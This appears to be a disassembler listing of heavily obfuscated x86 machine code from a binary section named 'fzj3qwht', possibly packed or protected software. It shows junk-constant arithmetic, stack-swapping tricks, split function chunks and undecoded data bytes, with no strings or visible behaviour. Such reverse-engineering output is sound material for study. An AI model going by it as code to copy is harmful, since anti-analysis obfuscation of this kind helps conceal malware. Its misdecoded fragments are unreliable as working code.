		xchg	eax, ecx
		inc	ebp
		cld
		jmp	loc_432501
; ---------------------------------------------------------------------------
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_4306C7:				; CODE XREF: fzj3qwht:0042F892j
		popf
		xor	edx, 41E859D5h


loc_4306CE:				; CODE XREF: fzj3qwht:loc_42F883j
		add	esi, 93AF46DDh
		rol	esi, 19h
		jmp	near ptr dword_42EB78+0C2h
; ---------------------------------------------------------------------------
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_4306DE:				; CODE XREF: fzj3qwht:loc_431F0Aj
		and	esi, 0EAFE27D3h
		push	offset word_43211E
		jmp	locret_431202
; ---------------------------------------------------------------------------
		align 10h


loc_4306F0:				; CODE XREF: fzj3qwht:004326E4j
		xchg	esi, [esp]
		pop	esi
		push	ebp
		mov	ebp, edx
		push	offset dword_430800
		jmp	loc_4318F3
; ---------------------------------------------------------------------------
		align 2
		dw 5D68h
		dd 0E90042E9h, 0FFFFE250h, 2012E8h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_430712:				; CODE XREF: fzj3qwht:00430D2Ej
		jmp	loc_4307AE
; ---------------------------------------------------------------------------
		align 4
		pop	ecx
		xor	ecx, 2B1E8752h
		sub	ecx, 9E5F65DAh
		rol	ecx, 1Bh
		add	ecx, 0B1917298h
		add	eax, ecx
		push	esi
		jmp	loc_4309D2
; ---------------------------------------------------------------------------
		dw 2300h
		dd 0FE0CE9DEh, 8100FFFFh, 58E01FE1h, 0DE981B4h,	8130078Dh
		dd 0DA1C4EC9h, 0B4850FDCh, 0FFFFF0h
; ---------------------------------------------------------------------------


loc_430758:				; CODE XREF: fzj3qwht:0042FD61j
		jmp	loc_431EC6
; ---------------------------------------------------------------------------
		align 2
		retn
; ---------------------------------------------------------------------------
		align 10h
		db 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42EFCF


loc_430761:				; CODE XREF: sub_42EFCF+Aj
		jmp	loc_43077E
; END OF FUNCTION CHUNK	FOR sub_42EFCF
; ---------------------------------------------------------------------------
		dw 1487h
; ---------------------------------------------------------------------------
		and	al, 8Bh
		retf	7C68h
; ---------------------------------------------------------------------------
		db 23h,	43h, 0
		dd 0FFF162E9h, 0E98500FFh, 2122E9h
		db 2 dup(0)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42EFCF


loc_43077E:				; CODE XREF: sub_42EFCF:loc_430761j
		mov	esi, offset loc_431A96
		jmp	loc_4304D0
; END OF FUNCTION CHUNK	FOR sub_42EFCF
; ---------------------------------------------------------------------------

locret_430788:				; CODE XREF: fzj3qwht:004321FFj
		retn
; ---------------------------------------------------------------------------
		db 2 dup(0), 0E9h
		dd 0FFFFFE0Eh
dword_430790	dd 5E8906C6h, 903AF781h, 0FDB404A2h, 0FFE03CE8h
					; DATA XREF: sub_431F1F:loc_430450o
		db 0FFh
; ---------------------------------------------------------------------------


loc_4307A1:				; CODE XREF: fzj3qwht:00430B94p
		xchg	esi, [esp]
		pop	esi
		xchg	eax, [esp]
		call	near ptr byte_42FE51+2
; ---------------------------------------------------------------------------
		db 0
; ---------------------------------------------------------------------------


loc_4307AE:				; CODE XREF: fzj3qwht:loc_430712j
		push	offset loc_431744
		jmp	loc_430DF7
; ---------------------------------------------------------------------------
		db 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42FC3B


loc_4307B9:				; CODE XREF: sub_42FC3B+15j
		xchg	edi, [esp-4+arg_0]
		pop	edi
		mov	[esi], eax
		xchg	eax, [esp-8+arg_4]
		mov	esi, eax
		pop	eax
		popf
		mov	eax, [ebp-0Ch]
		jmp	loc_430878
; END OF FUNCTION CHUNK	FOR sub_42FC3B
; ---------------------------------------------------------------------------
		align 10h


loc_4307D0:				; CODE XREF: fzj3qwht:loc_431A25j
		mov	byte ptr [edx],	3
		pop	edx
		push	0A02301E8h
		pop	eax
		add	eax, 0ECD0754h
		xor	eax, 72FFB596h
		and	eax, 0E29B1602h
		sub	eax, 4EFECD96h
		jmp	loc_42EE5E
; ---------------------------------------------------------------------------
		align 4
		dd 0E9CE1300h, 0FFFFF4D3h
dword_430800	dd 51242C87h, 94BE8h	; DATA XREF: fzj3qwht:004306F7o
		db 3 dup(0)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_431F1F


loc_43080B:				; CODE XREF: sub_431F1F+12j
		jmp	loc_430450
; END OF FUNCTION CHUNK	FOR sub_431F1F
; ---------------------------------------------------------------------------

locret_430810:				; CODE XREF: fzj3qwht:00430CF7j
		retn
; ---------------------------------------------------------------------------
		db 2 dup(0), 0E9h
		dd 0FFFFEECEh, 0EB8AE900h, 3487FFFFh, 738E824h,	0
; ---------------------------------------------------------------------------


loc_430828:				; CODE XREF: fzj3qwht:loc_4328E4j
		add	eax, 7F5B23DAh


loc_43082E:				; DATA XREF: sub_42FA52+267Bo
		xchg	eax, [esp]
		retn
; ---------------------------------------------------------------------------
		jmp	loc_4312C3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_431167


loc_430837:				; CODE XREF: sub_431167+10j
		jmp	loc_430E53
; END OF FUNCTION CHUNK	FOR sub_431167
; ---------------------------------------------------------------------------
		db 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43041D


loc_43083D:				; CODE XREF: sub_43041D-10E9j
		jmp	nullsub_143
; END OF FUNCTION CHUNK	FOR sub_43041D
; ---------------------------------------------------------------------------
		push	offset loc_430143
		jmp	locret_42FB1E
; ---------------------------------------------------------------------------
		mov	edi, [edi]
		popf
		xchg	edi, [esp]
		call	eax
		jmp	loc_4316B5
; ---------------------------------------------------------------------------
		align 2
		dw 8B52h
		dd 241487D5h, 0BFE9EC8Bh, 0FFFFF6h, 0E9E91B00h,	0E52h
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_99. PRESS	KEYPAD "+" TO EXPAND]
		db 3Bh,	0F8h, 0E9h
; ---------------------------------------------------------------------------
		retf
; ---------------------------------------------------------------------------
		db 0FDh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42FC3B


loc_430878:				; CODE XREF: sub_42FC3B+B8Ej
		mov	esp, ebp
		xchg	edi, [esp-10h+arg_C]
		mov	ebp, edi
		pop	edi
		retn
; END OF FUNCTION CHUNK	FOR sub_42FC3B
; ---------------------------------------------------------------------------
		jmp	locret_431358
; ---------------------------------------------------------------------------
		align 4
		dd 43251C68h, 0FA9FE900h, 8700FFFFh, 1487240Ch,	5ACA8B24h
		dd 58CAC081h, 0C684AD4h, 0E90042F3h, 0FFFFE6E4h
		db 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42F04D


loc_4308AD:				; CODE XREF: sub_42F04D:loc_42F05Fj
		mov	ebx, eax
		pop	eax
		xchg	edx, [esp-8+arg_4]
		jmp	nullsub_134
; END OF FUNCTION CHUNK	FOR sub_42F04D
; ---------------------------------------------------------------------------
		db 0
byte_4308B9	db 46h,	5, 9Dh		; DATA XREF: sub_4301AC+1o
		dd 0F004321h, 0FFF27A81h, 636851FFh, 59F8CDEAh,	0FFFC48E9h
		db 0FFh, 2 dup(0)
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_150. PRESS KEYPAD	"+" TO EXPAND]
		db 2 dup(0)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43052F


loc_4308D6:				; CODE XREF: sub_43052F+63j
		jmp	near ptr loc_42E94A+1
; END OF FUNCTION CHUNK	FOR sub_43052F
; ---------------------------------------------------------------------------
		align 4
dword_4308DC	dd 0A68A6857h, 815F43D5h, 0BB295ACFh, 0EEEF8175h, 0E97D59ABh
					; DATA XREF: fzj3qwht:loc_4313A4o
		dd 0FFFFE3F8h, 3C870000h, 0EEA46824h, 0C5E90042h, 12h
		dd 5F595700h, 0FFF9FAE8h, 0E90000FFh, 0C5Ah
		db 2 dup(0), 5Eh

; =============== S U B	R O U T	I N E =======================================



sub_430917	proc near		; CODE XREF: sub_43052F+17F1p

; FUNCTION CHUNK AT 00432020 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004325CD SIZE 00000013 BYTES

		xchg	ebx, [esp+0]
		pop	ebx
		push	edx
		mov	edx, offset nullsub_139
		jmp	loc_4325CD
sub_430917	endp

; ---------------------------------------------------------------------------

locret_430926:				; CODE XREF: fzj3qwht:loc_430DF7j
		retn
; ---------------------------------------------------------------------------
		align 4
		dd 72CB8100h, 0E9D35C8Fh, 0FFFFF11Eh
		db 0
; ---------------------------------------------------------------------------


loc_430935:				; CODE XREF: fzj3qwht:loc_431D4Ej
		and	ecx, 1B0B4F78h
		or	ecx, 6F446674h
		and	ecx, 0B2A390A5h
		add	ecx, 0BB006063h
		jmp	loc_42F969
; ---------------------------------------------------------------------------
		dw 0C0F7h
		dd 400h, 0FFFE2EE9h
		db 0FFh
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_431686


loc_43095D:				; CODE XREF: sub_431686-17BCj
		add	esi, 1053F6C4h
		jmp	loc_42F3B0
; END OF FUNCTION CHUNK	FOR sub_431686
; ---------------------------------------------------------------------------
		dd 1C870000h, 24348724h, 0E95EDE8Bh, 490h, 68B0000h, 0E915C0C1h
		dd 0F5Eh
		db 0
; ---------------------------------------------------------------------------

locret_430985:				; CODE XREF: fzj3qwht:00431B87j
		retn
; ---------------------------------------------------------------------------
		dw 8B0Fh
		dd 0FFFFEC49h
; ---------------------------------------------------------------------------
		not	esi

; =============== S U B	R O U T	I N E =======================================



sub_43098E	proc near		; CODE XREF: sub_42F4AE+AAp

; FUNCTION CHUNK AT 0042FFB2 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00430513 SIZE 00000005 BYTES

		xchg	edi, [esp+0]
		call	sub_431F5F
		add	cl, ch
		mov	ecx, 0FFFFEEh


loc_43099D:				; CODE XREF: sub_43193B+6p
		xchg	edx, [esp+0]
		xchg	ecx, [esp+0]
		mov	edx, ecx
		pop	ecx
		add	edx, 0D5527689h
		mov	[edx], eax
		jmp	loc_430513
sub_43098E	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		align 4
		dd 0A695F781h, 0C7E83189h, 13h,	24E9F985h, 0C600000Ah
		dd 52598701h, 0FFF42AE8h
; ---------------------------------------------------------------------------
		inc	dword ptr [eax]


loc_4309D2:				; CODE XREF: fzj3qwht:00430731j
		jmp	loc_43119C
; ---------------------------------------------------------------------------
		pop	eax
		jmp	sub_431F5F
; ---------------------------------------------------------------------------
		popf
		jmp	sub_42F04D
; ---------------------------------------------------------------------------
		align 4
		dd 0E9D02B00h, 0FFFFEEB7h
		db 2 dup(0)

; =============== S U B	R O U T	I N E =======================================



sub_4309EE	proc near		; CODE XREF: sub_42F4AE+E4j

; FUNCTION CHUNK AT 00430165 SIZE 0000000D BYTES

		xchg	edx, [esp+0]
		pop	edx
		call	sub_42FCC8
		push	eax
		mov	eax, edx
		jmp	loc_430165
sub_4309EE	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		align 10h
		db 0
; ---------------------------------------------------------------------------


loc_430A01:				; CODE XREF: fzj3qwht:0043004Ej
		xchg	edx, [esp]
		pop	edx
		push	0FAC864C3h
		xchg	edi, [esp]
		jmp	loc_430D25
; ---------------------------------------------------------------------------
		xchg	edx, ebx
		jmp	loc_4327DE
; ---------------------------------------------------------------------------
		db 2 dup(0), 87h
		dd 0F204E9EBh
		db 2 dup(0FFh)
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_153. PRESS KEYPAD	"+" TO EXPAND]
		align 4


loc_430A24:				; CODE XREF: fzj3qwht:0042F016j
		jmp	near ptr dword_42EA44+22h
; ---------------------------------------------------------------------------
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_430A2B:				; DATA XREF: sub_430C13-AC1o
		add	ebx, 3D5C3B8h
		add	eax, ebx
		pop	ebx
		jmp	loc_4322A0
; ---------------------------------------------------------------------------
		align 2
; START	OF FUNCTION CHUNK FOR sub_431F5F


loc_430A3A:				; CODE XREF: sub_431F5F:loc_430B0Ej
		jz	loc_430FBB
		jmp	loc_431971
; END OF FUNCTION CHUNK	FOR sub_431F5F
; ---------------------------------------------------------------------------
		db 2 dup(0), 33h
; ---------------------------------------------------------------------------
		retf	19E9h
; ---------------------------------------------------------------------------
		db 0F1h
		dd 0FFFFh
; ---------------------------------------------------------------------------


loc_430A50:				; CODE XREF: fzj3qwht:loc_432601j
		call	sub_42F263


loc_430A55:				; CODE XREF: fzj3qwht:0043252Bj
		jmp	loc_42F8E7
; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_430A5C	proc near		; CODE XREF: fzj3qwht:004301E8p
					; fzj3qwht:00432437j

; FUNCTION CHUNK AT 00432538 SIZE 00000011 BYTES

		xchg	ecx, [esp+0]
		xchg	ebp, [esp+0]
		mov	ecx, ebp
		pop	ebp
		xor	eax, 19D8E3D8h
		jmp	loc_432538
sub_430A5C	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42F4AE


loc_430A70:				; CODE XREF: sub_42F4AE+FDj
		call	sub_432090
		add	cl, ch
		dec	eax
		sbb	al, [eax]
; END OF FUNCTION CHUNK	FOR sub_42F4AE
; ---------------------------------------------------------------------------
		db 0
; ---------------------------------------------------------------------------


loc_430A7B:				; CODE XREF: fzj3qwht:004301FDj
		jmp	loc_430DC9
; ---------------------------------------------------------------------------
		mov	byte ptr [esi],	0F7h
		pop	esi
		add	eax, 0E333E616h
		mov	eax, [eax]
		pushf
		push	8A084C90h
		pop	ecx
		sub	ecx, 27FDBE04h
		and	ecx, 8B247CE8h
		xor	ecx, 2000C82h
		popf
		cdq
		jmp	loc_431720
; ---------------------------------------------------------------------------
		db 2 dup(0)
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_142. PRESS KEYPAD	"+" TO EXPAND]
		align 10h


loc_430AB0:				; CODE XREF: fzj3qwht:0042EDC4j
		jmp	locret_43050C
; ---------------------------------------------------------------------------
		align 2
		dw 7DE9h
		dd 0FFFFEFh, 0E08100C3h, 0F03BC797h, 0A521C081h, 0C5F4D50Ah
		dd 0FFFDC2E8h
		db 0FFh
; ---------------------------------------------------------------------------


loc_430AD1:				; CODE XREF: fzj3qwht:004311B0j
		jmp	locret_43201D
; ---------------------------------------------------------------------------
		dw 880Fh
		dd 0FFFFECA0h, 0FFF422E9h, 810000FFh, 0E3E96CCBh, 0F005E995h
		db 2 dup(0FFh)

; =============== S U B	R O U T	I N E =======================================



sub_430AEE	proc near		; CODE XREF: sub_431686:loc_43278Ep

; FUNCTION CHUNK AT 00430C3D SIZE 0000000C BYTES

		xchg	edx, [esp+0]
		xchg	edi, [esp+0]
		mov	edx, edi
		pop	edi
		push	0A9064E4Ch
		pop	ebx
		and	ebx, 1B53BD8Dh
		jmp	loc_430C3D
sub_430AEE	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		add	eax, 0E7D41996h
; START	OF FUNCTION CHUNK FOR sub_431F5F


loc_430B0E:				; CODE XREF: sub_431F5F:loc_431E9Fj
		jo	loc_430A3A
		push	432794h
		jmp	loc_42F134
; END OF FUNCTION CHUNK	FOR sub_431F5F
; ---------------------------------------------------------------------------
		align 10h
		retn
; ---------------------------------------------------------------------------
		jmp	loc_431E06
; ---------------------------------------------------------------------------
		dw 6857h
		dd 12E1B58Fh, 0DBEF815Fh, 8120211Ah, 64D75CCFh,	16EF814Bh
		dd 816A740Ah, 0D223C4C7h, 0F7E1E96Eh, 0FFFFh, 1C87D103h
		dd 3C875B24h, 68505F24h, 6CBB7C99h, 0FFF8E0E9h,	820F00FFh
		dd 1AE6h

; =============== S U B	R O U T	I N E =======================================



sub_430B68	proc near		; CODE XREF: sub_42F4AE-2A7p
					; sub_43041D-D08j

arg_0		= dword	ptr  4

		xchg	eax, [esp+0]
		pop	eax
		xchg	edx, [esp-4+arg_0]
		jmp	nullsub_134
sub_430B68	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		dd 73E80000h, 0FFFFE4h
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_431686


loc_430B7C:				; CODE XREF: sub_431686+12BEj
		jns	loc_4310C1
		push	9E4C1933h
		pop	eax
		push	edi
		jmp	near ptr dword_42E868+1Ch
; END OF FUNCTION CHUNK	FOR sub_431686
; ---------------------------------------------------------------------------


loc_430B8E:				; CODE XREF: fzj3qwht:loc_432001j
		xor	eax, 9F56F3FFh
		call	loc_4307A1
; ---------------------------------------------------------------------------
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_430B9B:				; DATA XREF: fzj3qwht:0042F898o
		mov	byte ptr [edx],	87h
		pop	edx
		push	offset word_43200E
		jmp	locret_432000
; ---------------------------------------------------------------------------
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_430BAB:				; CODE XREF: fzj3qwht:loc_42F38Dj
		and	esi, 56C30AC3h
		xor	esi, 304C1929h
		sub	esi, 20839A28h
		xor	esi, 8F697A0h
		add	esi, ebp
		add	esi, 0A2801F59h
		call	sub_42F04D


loc_430BD0:				; CODE XREF: sub_430497+13j
		add	cl, ch
		push	esp
		or	[eax], al
; ---------------------------------------------------------------------------
		db 3 dup(0)

; =============== S U B	R O U T	I N E =======================================



sub_430BD8	proc near		; CODE XREF: sub_431686-5C0p

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 00432868 SIZE 0000000A BYTES

		xchg	edx, [esp+0]
		pop	edx
		xchg	ecx, [esp-4+arg_0]
		mov	eax, ecx
		pop	ecx
		xor	eax, 19D15691h
		sub	eax, 82409A69h
		jmp	loc_432868
sub_430BD8	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		align 4


loc_430BF4:				; CODE XREF: fzj3qwht:0042F14Aj
		xor	ebx, 97F0052Ah
		add	ebx, 0A2115E5h
		sub	ebx, 5F8A8645h
		add	ebx, 0BE87D32Ah
		jmp	loc_42F556
; ---------------------------------------------------------------------------
		db 2 dup(0)

; =============== S U B	R O U T	I N E =======================================



sub_430C13	proc near		; CODE XREF: fzj3qwht:0042F8C2p
					; fzj3qwht:0042FB18j

; FUNCTION CHUNK AT 0043013E SIZE 0000001E BYTES
; FUNCTION CHUNK AT 00431C41 SIZE 00000005 BYTES

		xchg	edi, [esp+0]
		pop	edi
		xor	edx, 0C17A9617h
		add	edx, ebp
		add	edx, 0C9F2F653h
		jmp	loc_431C41
sub_430C13	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		align 4
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_129. PRESS KEYPAD	"+" TO EXPAND]
		db 2 dup(0)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4301AC


loc_430C2F:				; CODE XREF: sub_4301AC+1C1Dj
		jmp	loc_43138D
; END OF FUNCTION CHUNK	FOR sub_4301AC
; ---------------------------------------------------------------------------
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_430C36:				; CODE XREF: fzj3qwht:0042FE1Cj
		jmp	locret_432044
; ---------------------------------------------------------------------------
		align 4
		db 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_430AEE


loc_430C3D:				; CODE XREF: sub_430AEE+15j
		jnz	loc_431517
		add	[ebx+8C3E92Bh],	cl
; END OF FUNCTION CHUNK	FOR sub_430AEE
; ---------------------------------------------------------------------------
		db 2 dup(0), 0C3h
		dd 0C0090000h, 0E1AB850Fh, 0D0E9FFFFh, 87FFFFDCh, 5559240Ch
		dd 6A68EE8Bh, 0E90042FCh, 0FFFFFE50h, 5A241487h, 0DDFEC681h
		dd 1689FCB6h, 0E9242C87h, 0FFFFF603h, 288B0000h, 12E9CD85h
		dd 19h

; =============== S U B	R O U T	I N E =======================================



sub_430C8C	proc near		; CODE XREF: fzj3qwht:0042F2AFj
					; fzj3qwht:0043291Cp

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 0042F2A8 SIZE 00000005 BYTES

		xchg	ebx, [esp+0]
		pop	ebx
		add	ebx, 9A06B325h


loc_430C96:				; DATA XREF: sub_431167-224Bo
		xchg	ebx, [esp-4+arg_0]
		jmp	loc_42F2A8
sub_430C8C	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		align 10h
; START	OF FUNCTION CHUNK FOR sub_431686


loc_430CA0:				; CODE XREF: sub_431686:loc_42F3B0j
		mov	byte ptr [esi],	9Dh
		pop	esi
		add	esi, ebp
		add	esi, 0D6554B8Ah
		mov	esi, [esi]
		xchg	esi, [esp+4+var_4]
		push	ebx


loc_430CB2:				; DATA XREF: sub_431686-2344o
		pushf
		jmp	loc_432306
; END OF FUNCTION CHUNK	FOR sub_431686
; ---------------------------------------------------------------------------
		dd 3C60000h, 7C65B8Bh, 535A5F89h, 54368668h, 0F92AE99Fh
		dd 0FFFFh, 0D901F381h, 1C870002h
; ---------------------------------------------------------------------------
		and	al, 88h		; DATA XREF: sub_4316FE+Bo
		adc	eax, offset dword_42A104
		mov	esp, ebp
		jmp	loc_432633
; ---------------------------------------------------------------------------
		align 4
		add	esi, ebp
		add	esi, 6820699Fh
		mov	esi, [esi]
		push	43081Eh
		jmp	locret_430810
; ---------------------------------------------------------------------------
		dd 243C8700h, 0C015FF5Fh, 6A0042A0h, 0C015FFFFh, 0E90042A0h
		dd 0FFFFF611h, 0A8B0000h, 744AC581h, 74E9F319h,	0FFFFECh
		db 0
; ---------------------------------------------------------------------------


loc_430D25:				; CODE XREF: fzj3qwht:00430A0Dj
		mov	ebx, edi
		pop	edi
		push	esi
		mov	esi, ecx
		xchg	esi, [esp]
		jmp	loc_430712
; ---------------------------------------------------------------------------
		align 4
		dd 0D681C60Bh, 63D54C62h, 0FFE23CE9h, 870000FFh, 815A2414h
		dd 0FCA4C7F3h
		db 0BFh
		db 0DFh, 0D3h, 0E8h	; DATA XREF: fzj3qwht:00431E0Ao
		dd 1B76h
		db 0
; ---------------------------------------------------------------------------


loc_430D55:				; CODE XREF: fzj3qwht:0042F7BAj
		xchg	edx, [esp]
		mov	ebp, esp
		push	ebp
		mov	ebp, ecx
		push	42F619h
		jmp	locret_42EE5D
; ---------------------------------------------------------------------------
		align 4
		dd 8707C600h, 1C58685Fh, 815B2892h, 0AC5EFCBh, 0A6C3815Ah
		dd 0E885A81Bh, 0FFFFEC13h
		db 0
; ---------------------------------------------------------------------------


loc_430D85:				; DATA XREF: sub_42F4AE+205o
		xchg	ebx, [esp]
		push	ecx
		mov	ecx, edi
		xchg	ecx, [esp]
		pushf
		push	7AB0900Ah
		jmp	loc_43050D
; ---------------------------------------------------------------------------
		db 0E8h, 0EAh, 0E3h
		dd 0FFFFh, 1368E9h, 0E9000000h,	1442h, 24148700h, 3FC0815Ah
		dd 0E8BA6637h, 1A10h
		db 2 dup(0)
; ---------------------------------------------------------------------------

locret_430DBE:				; CODE XREF: fzj3qwht:0042ED3Ej
		retn
; ---------------------------------------------------------------------------
		align 10h
		mov	edi, [ecx]
		not	esi
		jmp	sub_42F263
; ---------------------------------------------------------------------------


loc_430DC9:				; CODE XREF: fzj3qwht:loc_430A7Bj
		push	offset loc_43257B
		jmp	loc_4311DC
; ---------------------------------------------------------------------------
		align 4
		dd 0FC45C700h, 1, 0EC7BBB53h, 45E90042h, 0FFFFDDh, 0D68B5200h
		dd 0E8241487h, 1857h
		db 0, 0C3h, 0
; ---------------------------------------------------------------------------


loc_430DF7:				; CODE XREF: fzj3qwht:004307B3j
		jmp	locret_430926
; ---------------------------------------------------------------------------
		jmp	locret_431204
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		dw 0E85Fh
		dd 0FFFFEAD4h, 755E9h, 87000000h, 76BE9F5h, 0
; ---------------------------------------------------------------------------


loc_430E18:				; CODE XREF: fzj3qwht:loc_43038Bj
		popf
		xor	eax, eax
		mov	[ebp-10h], eax
		cmp	dword ptr [ebp-8], 0
		jmp	near ptr dword_42F78C+1Ah

; =============== S U B	R O U T	I N E =======================================



sub_430E27	proc near		; CODE XREF: fzj3qwht:00431EE8p

; FUNCTION CHUNK AT 0042F7CC SIZE 00000019 BYTES
; FUNCTION CHUNK AT 0042FD05 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00431811 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 00431FD9 SIZE 00000005 BYTES

		xchg	ecx, [esp+0]
		pop	ecx
		mov	edi, offset loc_42F7D3
		jmp	loc_42FD05
sub_430E27	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		align 2
		dw 128Bh
		dd 572414DBh, 43124F68h, 0E5F5E900h
		db 2 dup(0FFh)

; =============== S U B	R O U T	I N E =======================================



sub_430E46	proc near		; CODE XREF: fzj3qwht:0042EDEDj
					; sub_430C13:loc_43013Ep

; FUNCTION CHUNK AT 0042F957 SIZE 0000000F BYTES

		xchg	ebx, [esp+0]
		pop	ebx
		mov	[edx], eax
		pop	edx
		jmp	loc_42F957
sub_430E46	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_431167


loc_430E53:				; CODE XREF: sub_431167:loc_430837j
		xchg	ecx, [esp+0]
		or	eax, ebx
		jmp	loc_430E98
; END OF FUNCTION CHUNK	FOR sub_431167
; ---------------------------------------------------------------------------
		db 2 dup(0), 0Fh
		dd 0FFED1989h, 0D38B52FFh, 0BB241487h, 42F786h,	0FFE907E9h
		db 0FFh
		db 50h,	0E8h, 2Ch	; DATA XREF: sub_42FA52+24FAo
		dd 0F000012h, 0B448Dh, 0E9000000h, 0FFFFDFA8h, 0C58DC281h
		dd 2AE921FAh, 0Bh
		db 0
; ---------------------------------------------------------------------------

locret_430E95:				; CODE XREF: fzj3qwht:0042FEF1j
		retn
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_431167


loc_430E98:				; CODE XREF: sub_431167-30Fj
		jmp	loc_42EF10
; END OF FUNCTION CHUNK	FOR sub_431167
; ---------------------------------------------------------------------------
		db 2 dup(0), 0E8h	; CODE XREF: fzj3qwht:loc_432789j
		dd 1812h
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		db 2 dup(0)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4301B7


loc_430EA7:				; CODE XREF: sub_4301B7:loc_42ED0Aj
					; fzj3qwht:loc_42EE5Ej
		add	eax, 0B2473A38h


loc_430EAD:				; DATA XREF: fzj3qwht:00430ED8o
		imul	eax, ebp, 7F58C081h
		lodsb
		fmul	qword ptr [ebx-347EF100h]
		stc
; END OF FUNCTION CHUNK	FOR sub_4301B7
; ---------------------------------------------------------------------------
		db 0FFh
		dd 0E11CE9FFh, 0FFFFh, 0FF02885Fh, 45FFF04Dh, 0F07D0CFCh
		dd 1F8D0F00h
		db 0DCh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_430ED7:				; CODE XREF: fzj3qwht:loc_431B61j
		push	edx
		mov	edx, offset loc_430EAD
		jmp	loc_431A25
; ---------------------------------------------------------------------------
		db 0
; ---------------------------------------------------------------------------

locret_430EE3:				; CODE XREF: fzj3qwht:00431013j
		retn
; ---------------------------------------------------------------------------
		db 2 dup(0)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42F4AE


loc_430EE6:				; CODE XREF: sub_42F4AE+1C9j
		jmp	near ptr dword_42EA44+0D3h
; END OF FUNCTION CHUNK	FOR sub_42F4AE
; ---------------------------------------------------------------------------
		align 4
		dd 89800F00h, 0FFFFFDFh, 0FFFEF188h, 0E003E9FFh, 0FFFFh
		dd 0DD7CE950h, 0C87FFFFh, 0F0B3E924h, 1C6FFFFh,	0F9F759FFh
		dd 0FACE6851h, 0C1590745h, 0F18117C1h, 32BFDF64h, 0FFF53DE9h
; ---------------------------------------------------------------------------
		inc	dword ptr [eax]

; =============== S U B	R O U T	I N E =======================================



sub_430F2A	proc near		; CODE XREF: sub_4312D7+859p

; FUNCTION CHUNK AT 0043246C SIZE 0000000A BYTES

		xchg	edx, [esp+0]
		pop	edx
		push	eax
		mov	eax, offset loc_42F84D
		jmp	loc_43246C
sub_430F2A	endp

; ---------------------------------------------------------------------------
		align 2
		dw 0D068h
		dd 0E900430Ch, 0FFFFF8CFh
		db 0
; ---------------------------------------------------------------------------


loc_430F45:				; CODE XREF: fzj3qwht:0042FEB4j
		ror	eax, 1Eh

; =============== S U B	R O U T	I N E =======================================



sub_430F48	proc near		; CODE XREF: sub_4301AC+1B25p

; FUNCTION CHUNK AT 0042FB2D SIZE 00000010 BYTES
; FUNCTION CHUNK AT 004303B9 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0043167B SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00432450 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 004327D8 SIZE 00000005 BYTES

		xchg	esi, [esp+0]
		pop	esi
		push	edi
		push	452D8DE0h
		pop	edi
		jmp	loc_432450
sub_430F48	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 0
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_152. PRESS KEYPAD	"+" TO EXPAND]
		align 4
; START	OF FUNCTION CHUNK FOR sub_42F4AE


loc_430F5C:				; CODE XREF: sub_42F4AE+F0j
					; fzj3qwht:004317E8j
		xor	edx, edi
		xchg	eax, [esp-0Ch+arg_8]


loc_430F61:				; CODE XREF: sub_431686:loc_432775j
		xchg	edi, [esp-0Ch+arg_8]
		push	offset byte_43217D
		jmp	loc_43000C
; END OF FUNCTION CHUNK	FOR sub_42F4AE
; ---------------------------------------------------------------------------
		align 10h
		pop	ecx
